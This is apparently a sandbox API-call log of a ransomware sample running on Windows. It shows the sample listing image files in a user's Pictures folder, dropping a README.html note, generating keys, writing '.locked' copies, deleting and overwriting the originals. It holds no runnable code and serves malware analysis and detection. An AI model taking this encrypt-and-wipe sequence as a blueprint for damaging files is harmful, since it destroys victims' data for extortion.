	[0078.923] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa"), fInfoLevelId=0x0, lpFileInformation=0x123fc0a8 | out: lpFileInformation=0x123fc0a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf31d2e0, ftCreationTime.dwHighDateTime=0x1d4cf48, ftLastAccessTime.dwLowDateTime=0xddcba870, ftLastAccessTime.dwHighDateTime=0x1d4cf97, ftLastWriteTime.dwLowDateTime=0xddcba870, ftLastWriteTime.dwHighDateTime=0x1d4cf97, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1
	[0078.924] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.924] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\*", lpFindFileData=0x127ef918 | out: lpFindFileData=0x127ef918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf31d2e0, ftCreationTime.dwHighDateTime=0x1d4cf48, ftLastAccessTime.dwLowDateTime=0xddcba870, ftLastAccessTime.dwHighDateTime=0x1d4cf97, ftLastWriteTime.dwLowDateTime=0xddcba870, ftLastWriteTime.dwHighDateTime=0x1d4cf97, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0078.924] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf31d2e0, ftCreationTime.dwHighDateTime=0x1d4cf48, ftLastAccessTime.dwLowDateTime=0xddcba870, ftLastAccessTime.dwHighDateTime=0x1d4cf97, ftLastWriteTime.dwLowDateTime=0xddcba870, ftLastWriteTime.dwHighDateTime=0x1d4cf97, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.924] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65357ac0, ftCreationTime.dwHighDateTime=0x1d4cafc, ftLastAccessTime.dwLowDateTime=0xf6b64db0, ftLastAccessTime.dwHighDateTime=0x1d4cfe5, ftLastWriteTime.dwLowDateTime=0xf6b64db0, ftLastWriteTime.dwHighDateTime=0x1d4cfe5, nFileSizeHigh=0x0, nFileSizeLow=0x9d4b, dwReserved0=0x0, dwReserved1=0x0, cFileName="aMEWi2I7.png", cAlternateFileName="")) returned 1
	[0078.924] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8714ad90, ftCreationTime.dwHighDateTime=0x1d4cfd5, ftLastAccessTime.dwLowDateTime=0x960fe790, ftLastAccessTime.dwHighDateTime=0x1d4cfd7, ftLastWriteTime.dwLowDateTime=0x960fe790, ftLastWriteTime.dwHighDateTime=0x1d4cfd7, nFileSizeHigh=0x0, nFileSizeLow=0x1559f, dwReserved0=0x0, dwReserved1=0x0, cFileName="JC68AzSW11ova7vMN.png", cAlternateFileName="JC68AZ~1.PNG")) returned 1
	[0078.924] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ac5e5c0, ftCreationTime.dwHighDateTime=0x1d4c5b0, ftLastAccessTime.dwLowDateTime=0x3f8076c0, ftLastAccessTime.dwHighDateTime=0x1d4cc84, ftLastWriteTime.dwLowDateTime=0x3f8076c0, ftLastWriteTime.dwHighDateTime=0x1d4cc84, nFileSizeHigh=0x0, nFileSizeLow=0x18a8a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Jsva2iy_.png", cAlternateFileName="")) returned 1
	[0078.924] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60179c10, ftCreationTime.dwHighDateTime=0x1d4d2c4, ftLastAccessTime.dwLowDateTime=0xed690f50, ftLastAccessTime.dwHighDateTime=0x1d4ccfb, ftLastWriteTime.dwLowDateTime=0xed690f50, ftLastWriteTime.dwHighDateTime=0x1d4ccfb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Jvd5uXr7194-2VV", cAlternateFileName="JVD5UX~1")) returned 1
	[0078.924] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17139c00, ftCreationTime.dwHighDateTime=0x1d4c8f9, ftLastAccessTime.dwLowDateTime=0xf65706e0, ftLastAccessTime.dwHighDateTime=0x1d4d59c, ftLastWriteTime.dwLowDateTime=0xf65706e0, ftLastWriteTime.dwHighDateTime=0x1d4d59c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nfUwoUB1n_4-BMrmBju", cAlternateFileName="NFUWOU~1")) returned 1
	[0078.924] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b929c90, ftCreationTime.dwHighDateTime=0x1d4d1ee, ftLastAccessTime.dwLowDateTime=0x130f1b20, ftLastAccessTime.dwHighDateTime=0x1d4c782, ftLastWriteTime.dwLowDateTime=0x130f1b20, ftLastWriteTime.dwHighDateTime=0x1d4c782, nFileSizeHigh=0x0, nFileSizeLow=0x18f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="reXngcfSm.gif", cAlternateFileName="REXNGC~1.GIF")) returned 1
	[0078.924] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b5118c0, ftCreationTime.dwHighDateTime=0x1d4cb5c, ftLastAccessTime.dwLowDateTime=0x3084fb10, ftLastAccessTime.dwHighDateTime=0x1d4cb84, ftLastWriteTime.dwLowDateTime=0x3084fb10, ftLastWriteTime.dwHighDateTime=0x1d4cb84, nFileSizeHigh=0x0, nFileSizeLow=0xb726, dwReserved0=0x0, dwReserved1=0x0, cFileName="T8CWEdLZr- h4J.gif", cAlternateFileName="T8CWED~1.GIF")) returned 1
	[0078.924] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7eda2c0, ftCreationTime.dwHighDateTime=0x1d4cf9e, ftLastAccessTime.dwLowDateTime=0x6b3e5a20, ftLastAccessTime.dwHighDateTime=0x1d4cc52, ftLastWriteTime.dwLowDateTime=0x6b3e5a20, ftLastWriteTime.dwHighDateTime=0x1d4cc52, nFileSizeHigh=0x0, nFileSizeLow=0x4739, dwReserved0=0x0, dwReserved1=0x0, cFileName="zCLjZMwrt1AvhmSw5e4k.gif", cAlternateFileName="ZCLJZM~1.GIF")) returned 1
	[0078.924] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa65f7840, ftCreationTime.dwHighDateTime=0x1d4d50e, ftLastAccessTime.dwLowDateTime=0xaa3e5650, ftLastAccessTime.dwHighDateTime=0x1d4d0bf, ftLastWriteTime.dwLowDateTime=0xaa3e5650, ftLastWriteTime.dwHighDateTime=0x1d4d0bf, nFileSizeHigh=0x0, nFileSizeLow=0x8ccf, dwReserved0=0x0, dwReserved1=0x0, cFileName="_M_ vl2L_zyCAZLJKZ.png", cAlternateFileName="_M_VL2~1.PNG")) returned 1
	[0078.924] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0078.924] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0078.924] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\README.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\readme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0078.925] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eed30 | out: lpMode=0x127eed30) returned 0
	[0078.925] WriteFile (in: hFile=0xc0, lpBuffer=0x126f0000*, nNumberOfBytesToWrite=0xc5a, lpNumberOfBytesWritten=0x127eed20, lpOverlapped=0x0 | out: lpBuffer=0x126f0000*, lpNumberOfBytesWritten=0x127eed20*=0xc5a, lpOverlapped=0x0) returned 1
	[0078.926] CloseHandle (hObject=0xc0) returned 1
	[0078.926] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x1268a000*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x127ee8b0, lpReserved=0x0 | out: lpBuffer=0x1268a000*, lpNumberOfCharsWritten=0x127ee8b0*=0x4f) returned 1
	[0078.928] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\JC68AzSW11ova7vMN.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\jc68azsw11ova7vmn.png"), fInfoLevelId=0x0, lpFileInformation=0x123fc558 | out: lpFileInformation=0x123fc558*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8714ad90, ftCreationTime.dwHighDateTime=0x1d4cfd5, ftLastAccessTime.dwLowDateTime=0x960fe790, ftLastAccessTime.dwHighDateTime=0x1d4cfd7, ftLastWriteTime.dwLowDateTime=0x960fe790, ftLastWriteTime.dwHighDateTime=0x1d4cfd7, nFileSizeHigh=0x0, nFileSizeLow=0x1559f)) returned 1
	[0078.928] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\JC68AzSW11ova7vMN.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\jc68azsw11ova7vmn.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0078.928] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0078.928] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\JC68AzSW11ova7vMN.png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\jc68azsw11ova7vmn.png.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0078.928] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0078.929] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c4a0 | out: pbBuffer=0x1238c4a0) returned 1
	[0078.929] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a82a0 | out: pbBuffer=0x127a82a0) returned 1
	[0078.929] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x12416201 | out: pbBuffer=0x12416201) returned 1
	[0078.929] WriteFile (in: hFile=0xc4, lpBuffer=0x1268f000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb88, lpOverlapped=0x0 | out: lpBuffer=0x1268f000*, lpNumberOfBytesWritten=0x127eeb88*=0x80, lpOverlapped=0x0) returned 1
	[0078.931] SetEvent (hEvent=0xb4) returned 1
	[0078.931] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x1559f, lpOverlapped=0x0) returned 1
	[0078.934] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x1559f, lpNumberOfBytesWritten=0x127eeb84, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb84*=0x1559f, lpOverlapped=0x0) returned 1
	[0078.935] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x0, lpOverlapped=0x0) returned 1
	[0078.935] CloseHandle (hObject=0xc4) returned 1
	[0078.935] CloseHandle (hObject=0xc0) returned 1
	[0078.935] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0078.936] SetEvent (hEvent=0xb4) returned 1
	[0078.936] SetEvent (hEvent=0x80) returned 1
	[0078.936] SetEvent (hEvent=0x78) returned 1
	[0078.936] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0078.936] SetEvent (hEvent=0x78) returned 1
	[0078.936] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x1268a000*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x127ee83c, lpReserved=0x0 | out: lpBuffer=0x1268a000*, lpNumberOfCharsWritten=0x127ee83c*=0x4f) returned 1
	[0078.938] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\JC68AzSW11ova7vMN.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\jc68azsw11ova7vmn.png")) returned 1
	[0078.956] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0078.957] SetEvent (hEvent=0xa8) returned 1
	[0078.957] SetEvent (hEvent=0x80) returned 1
	[0078.961] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0078.961] SetEvent (hEvent=0x80) returned 1
	[0078.961] SetEvent (hEvent=0x78) returned 1
	[0078.961] SetEvent (hEvent=0xb4) returned 1
	[0078.961] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0078.962] SetEvent (hEvent=0xb4) returned 1
	[0078.963] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0078.963] SetEvent (hEvent=0xb4) returned 1
	[0078.964] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0078.964] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0078.964] SetEvent (hEvent=0xb4) returned 1
	[0078.964] SetEvent (hEvent=0x78) returned 1
	[0078.964] SetEvent (hEvent=0x80) returned 1
	[0078.964] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0078.965] SetEvent (hEvent=0x80) returned 1
	[0078.965] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\JC68AzSW11ova7vMN.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\jc68azsw11ova7vmn.png"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0078.965] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec98 | out: lpMode=0x127eec98) returned 0
	[0078.966] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec88, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec88*=0xfa000, lpOverlapped=0x0) returned 1
	[0078.986] CloseHandle (hObject=0xc0) returned 1
	[0078.986] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\JC68AzSW11ova7vMN.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\jc68azsw11ova7vmn.png")) returned 1
	[0078.990] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\Jsva2iy_.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\jsva2iy_.png"), fInfoLevelId=0x0, lpFileInformation=0x123fc058 | out: lpFileInformation=0x123fc058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ac5e5c0, ftCreationTime.dwHighDateTime=0x1d4c5b0, ftLastAccessTime.dwLowDateTime=0x3f8076c0, ftLastAccessTime.dwHighDateTime=0x1d4cc84, ftLastWriteTime.dwLowDateTime=0x3f8076c0, ftLastWriteTime.dwHighDateTime=0x1d4cc84, nFileSizeHigh=0x0, nFileSizeLow=0x18a8a)) returned 1
	[0078.990] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\Jsva2iy_.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\jsva2iy_.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0078.990] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0078.991] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\Jsva2iy_.png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\jsva2iy_.png.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0078.991] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0078.991] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c240 | out: pbBuffer=0x1238c240) returned 1
	[0078.991] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8150 | out: pbBuffer=0x127a8150) returned 1
	[0078.991] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x12416081 | out: pbBuffer=0x12416081) returned 1
	[0078.991] WriteFile (in: hFile=0xc4, lpBuffer=0x12507000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb88, lpOverlapped=0x0 | out: lpBuffer=0x12507000*, lpNumberOfBytesWritten=0x127eeb88*=0x80, lpOverlapped=0x0) returned 1
	[0078.994] SetEvent (hEvent=0x78) returned 1
	[0078.994] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x18a8a, lpOverlapped=0x0) returned 1
	[0078.997] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x18a8a, lpNumberOfBytesWritten=0x127eeb84, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb84*=0x18a8a, lpOverlapped=0x0) returned 1
	[0078.998] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x0, lpOverlapped=0x0) returned 1
	[0078.998] CloseHandle (hObject=0xc4) returned 1
	[0078.999] CloseHandle (hObject=0xc0) returned 1
	[0078.999] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0078.999] SetEvent (hEvent=0x78) returned 1
	[0078.999] SetEvent (hEvent=0x80) returned 1
	[0078.999] SetEvent (hEvent=0xb4) returned 1
	[0078.999] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0079.000] SetEvent (hEvent=0xb4) returned 1
	[0079.000] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x1263e000*, nNumberOfCharsToWrite=0x46, lpNumberOfCharsWritten=0x127ee83c, lpReserved=0x0 | out: lpBuffer=0x1263e000*, lpNumberOfCharsWritten=0x127ee83c*=0x46) returned 1
	[0079.001] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\Jsva2iy_.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\jsva2iy_.png")) returned 1
	[0079.019] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0079.020] SetEvent (hEvent=0xa8) returned 1
	[0079.020] SetEvent (hEvent=0x80) returned 1
	[0079.024] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0079.025] SetEvent (hEvent=0x80) returned 1
	[0079.025] SetEvent (hEvent=0xb4) returned 1
	[0079.025] SetEvent (hEvent=0x78) returned 1
	[0079.025] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0079.025] SetEvent (hEvent=0x78) returned 1
	[0079.027] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0079.027] SetEvent (hEvent=0x78) returned 1
	[0079.027] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0079.027] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0079.028] SetEvent (hEvent=0x78) returned 1
	[0079.028] SetEvent (hEvent=0xb4) returned 1
	[0079.028] SetEvent (hEvent=0x80) returned 1
	[0079.028] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0079.028] SetEvent (hEvent=0x80) returned 1
	[0079.028] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\Jsva2iy_.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\jsva2iy_.png"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0079.029] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec98 | out: lpMode=0x127eec98) returned 0
	[0079.029] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec88, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec88*=0xfa000, lpOverlapped=0x0) returned 1
	[0079.045] CloseHandle (hObject=0xc0) returned 1
	[0079.045] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\Jsva2iy_.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\jsva2iy_.png")) returned 1
	[0079.049] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\Jvd5uXr7194-2VV" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\jvd5uxr7194-2vv"), fInfoLevelId=0x0, lpFileInformation=0x123fc148 | out: lpFileInformation=0x123fc148*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60179c10, ftCreationTime.dwHighDateTime=0x1d4d2c4, ftLastAccessTime.dwLowDateTime=0xed690f50, ftLastAccessTime.dwHighDateTime=0x1d4ccfb, ftLastWriteTime.dwLowDateTime=0xed690f50, ftLastWriteTime.dwHighDateTime=0x1d4ccfb, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1
	[0079.049] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\Jvd5uXr7194-2VV" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\jvd5uxr7194-2vv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0079.049] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\Jvd5uXr7194-2VV\\*", lpFindFileData=0x127ef8b4 | out: lpFindFileData=0x127ef8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60179c10, ftCreationTime.dwHighDateTime=0x1d4d2c4, ftLastAccessTime.dwLowDateTime=0xed690f50, ftLastAccessTime.dwHighDateTime=0x1d4ccfb, ftLastWriteTime.dwLowDateTime=0xed690f50, ftLastWriteTime.dwHighDateTime=0x1d4ccfb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0079.049] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60179c10, ftCreationTime.dwHighDateTime=0x1d4d2c4, ftLastAccessTime.dwLowDateTime=0xed690f50, ftLastAccessTime.dwHighDateTime=0x1d4ccfb, ftLastWriteTime.dwLowDateTime=0xed690f50, ftLastWriteTime.dwHighDateTime=0x1d4ccfb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.049] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2abd7770, ftCreationTime.dwHighDateTime=0x1d4cc10, ftLastAccessTime.dwLowDateTime=0x321eebe0, ftLastAccessTime.dwHighDateTime=0x1d4d29e, ftLastWriteTime.dwLowDateTime=0x321eebe0, ftLastWriteTime.dwHighDateTime=0x1d4d29e, nFileSizeHigh=0x0, nFileSizeLow=0x12aa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="-Dn8KWxKVX8iZ-F.gif", cAlternateFileName="-DN8KW~1.GIF")) returned 1
	[0079.049] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa157cab0, ftCreationTime.dwHighDateTime=0x1d4ccb1, ftLastAccessTime.dwLowDateTime=0x6741fc90, ftLastAccessTime.dwHighDateTime=0x1d4ca4c, ftLastWriteTime.dwLowDateTime=0x6741fc90, ftLastWriteTime.dwHighDateTime=0x1d4ca4c, nFileSizeHigh=0x0, nFileSizeLow=0x14dd9, dwReserved0=0x0, dwReserved1=0x0, cFileName="4UPKWVH4szydFvS.gif", cAlternateFileName="4UPKWV~1.GIF")) returned 1
